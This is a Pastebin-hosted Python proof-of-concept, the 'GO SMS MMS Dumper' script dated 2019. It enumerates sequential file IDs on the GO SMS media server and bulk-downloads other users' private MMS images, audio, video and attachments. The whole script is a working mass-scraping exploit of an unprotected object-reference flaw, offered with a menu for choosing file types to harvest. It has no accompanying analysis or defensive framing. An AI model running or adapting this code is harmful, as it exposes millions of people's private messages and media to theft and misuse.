Advertisement
Guest User

gosms_poc.py

a guest
Jan 25th, 2019
616
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.22 KB | None | 0 0
  1. # Filename: gosms_poc.py
  2. # Author: @sol_sanctum
  3. # Date: 01/25/2019
  4.  
  5. import urllib
  6. import requests
  7. import wget
  8. import os
  9. from multiprocessing import *
  10. from array import *
  11.  
  12. # Delimiters for all GoSMS files
  13. # Change 'end' to whatever is the latest valid filenumber
  14. start = 0x010000
  15. end = 0xA6E000 # ~10.9mil records
  16.  
  17. # To check valid file numbers, try http://gs.3g.cn/D/<hexval>/W in a browser
  18. # Example: http://gs.3g.cn/D/A6E000/W
  19. # If it returns a proper value, it's valid; otherwise, it's not yet a valid filenumber
  20.  
  21. base_url = "http://gs.3g.cn/D/"
  22. choice = ""
  23.  
  24. def download(index):
  25.     request = requests.get(base_url + format(index, 'X') + "/w")
  26.     url = request.url.split('u=')[-1]
  27.     url = urllib.unquote(url).decode('utf8')
  28.     url = url.split('&')[-4]
  29.     filename = url.split('/')[-1]
  30.  
  31.     if choice == 1:
  32.         if "gosharefile_image" in url:
  33.             print ("{}: {}").format(index, url)
  34.             wget.download(url, "./downloaded/" + str(index) + "_" + filename)
  35.             print ("\n")
  36.  
  37.     if choice == 2:
  38.         if "gosharefile_audio" in url:
  39.             print ("{}: {}").format(index, url)
  40.             wget.download(url, "./downloaded/" + str(index) + "_" + filename)
  41.             print ("\n")
  42.  
  43.     if choice == 3:
  44.         if "gosharefile_video" in url:
  45.             print ("{}: {}").format(index, url)
  46.             wget.download(url, "./downloaded/" + str(index) + "_" + filename)
  47.             print ("\n")
  48.  
  49.     if choice == 4:
  50.         if ("gosms" in filename) or ("zip" in filename):
  51.             print ("{}: {}").format(index, url)
  52.             wget.download(url, "./downloaded/" + str(index) + "_" + filename)
  53.             print ("\n")
  54.  
  55.     if choice == 5:
  56.         print ("{}: {}").format(index, url)
  57.         wget.download(url, "./downloaded/" + str(index) + "_" + filename)
  58.         print ("\n")
  59.  
  60.     return;
  61.  
  62. def main():
  63.     titleScreen()
  64.     choices()
  65.  
  66.     global start
  67.     global end
  68.  
  69.     for i in xrange(start, end + 1):
  70.         p = Process(target=download(i))
  71.         p.start()
  72.     return;
  73.  
  74. def titleScreen():
  75.     print "-----------------------------------------------------"
  76.     print "--                GO SMS MMS Dumper                 --"
  77.     print "--              Twitter: @sol_sanctum              --"
  78.     print "-----------------------------------------------------\n"
  79.  
  80. def choices():
  81.     print "--- Available Filetypes ---"
  82.     print "1. Images = jpg, png, gif, zip, 'autocompress', gosharefile_image"
  83.     print "2. Audio = amr, 'govoice', gosharefile_audio"
  84.     print "3. Video = mp4, gosharefile_video"
  85.     print "4. Other = 'gosms', zip"
  86.     print "5. All Files (sequential, slow)\n"
  87.     choose()
  88.     return;
  89.  
  90. def choose():
  91.     invalid = True
  92.  
  93.     while (invalid):
  94.         try:
  95.             global choice
  96.             choice = input("What type of files do you want to download? ")
  97.             if (choice < 6) and (choice > 0):
  98.                 invalid = False
  99.         except:
  100.             print "Error!!"
  101.  
  102.     if (choice == 2) or (choice == 3) or (choice == 4):
  103.         print "Finding files, this may take a while..."
  104.  
  105.     return;
  106.  
  107. if __name__ == "__main__":
  108.     if not os.path.exists("./downloaded/"):
  109.         os.makedirs("./downloaded/")
  110.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement